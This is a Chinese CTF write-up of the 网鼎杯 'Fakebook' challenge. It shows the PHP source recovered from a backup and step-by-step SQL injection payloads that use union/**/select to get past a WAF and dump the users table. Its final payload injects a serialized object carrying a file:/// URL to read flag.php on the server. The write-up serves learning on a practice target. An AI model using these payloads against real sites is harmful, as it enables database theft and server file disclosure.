[网鼎杯]-Fakebook
网鼎杯Fakebook
以我的实力做出网鼎杯这道题实在不现实,不过凡事都有第一次。当时做第一道CTF题也是云里雾里,多锻炼就好了。
0x01
如图,题目是个blog板块,仔细观察以后暂时没有发现什么线索
有大佬是用nikto扫描后台找到了爬虫协议,但是自己拿御剑就扫不出来。
查看robots.txt,发现有文件是禁止访问的,是个网页源码的备份
访问以后就把文件下载下来了,查看源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
审计一下,有__construct就应该和序列化有关,中间的get参数没看懂,之后的参数则是会返回发布blog的内容,以及判断blog的地址是否合法
那么回到原来的主页,点击join,发现可以添加用户名,密码,年龄,博客地址
join以后页面上就有了信息,点击以后进入展示页面
此时的网页url很可疑,猜测存在sql注入
http://fb06aa1d-c058-435e-9f0a-194982cec101.node3.buuoj.cn/view.php?no=1
把url放sqlmap里跑一下,能扫出来是mysql,但是跑不出名字,应该有WAF过滤
0x02
尝试手动:
view.php?no=0 order by 4--+
//当order by 5时报错
view.php?no=0 union select 1,2,3,4--+
//提示no hack
猜测过滤了union select,用如下语句绕过:
view.php?no=0 union/**/select 1,2,3,4--+
内联注释/**/的语句是MYSQL才能识别,可以绕过WAF。这里多说一句,之前sqlmap我也是加载了这种绕过方式的tamper,但是最后却没有结果。需要用burpsuite抓包保存,再用sqlmap来POST注入。
看到页面出现了2,之后就拿2来回显
view.php?no=0 union/**/select 1,database(),3,4--+
数据库名fakebook
view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
表名users
view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+
列名no,username,passwd,data
view.php?no=0 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users--+
获得列内容:
1add319e4b15120f742fd3214f3ba53e0134c0efbff31125f539f7d0b8373d683036eb94ec1c9a75c82a8fe7ec8108803618663c35d00b303a26c7b81d334d364baO:8:"UserInfo":3:{s:4:"name";s:2:"ad";s:3:"age";i:22;s:4:"blog";s:37:"https://www.cnblogs.com/echoDetected/";}
得到了自己刚刚注册信息的序列化值,结合之前网页源码,判断是要传参(getBlogContents)以后网站反序列化,返回flag的值
这里顺便注意一下网站的绝对路径,之前报错的时候也一直出现的
0x03
线索到这里就断了,我去看别人的WP,他们也不知道怎么凭空就猜出flag位置文件的,还有说是扫后台扫出来的
现在只能猜测flag在flag.php这个文件里,基于之前出现的绝对路径,很大概率是在var/www/html/flag.php里面
于是构造序列化的内容,里面要读取文件得使用file协议,基本的格式如下:
file:///文件路径
view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
再查看网页源码就有base64加密的内容了,flag就在里面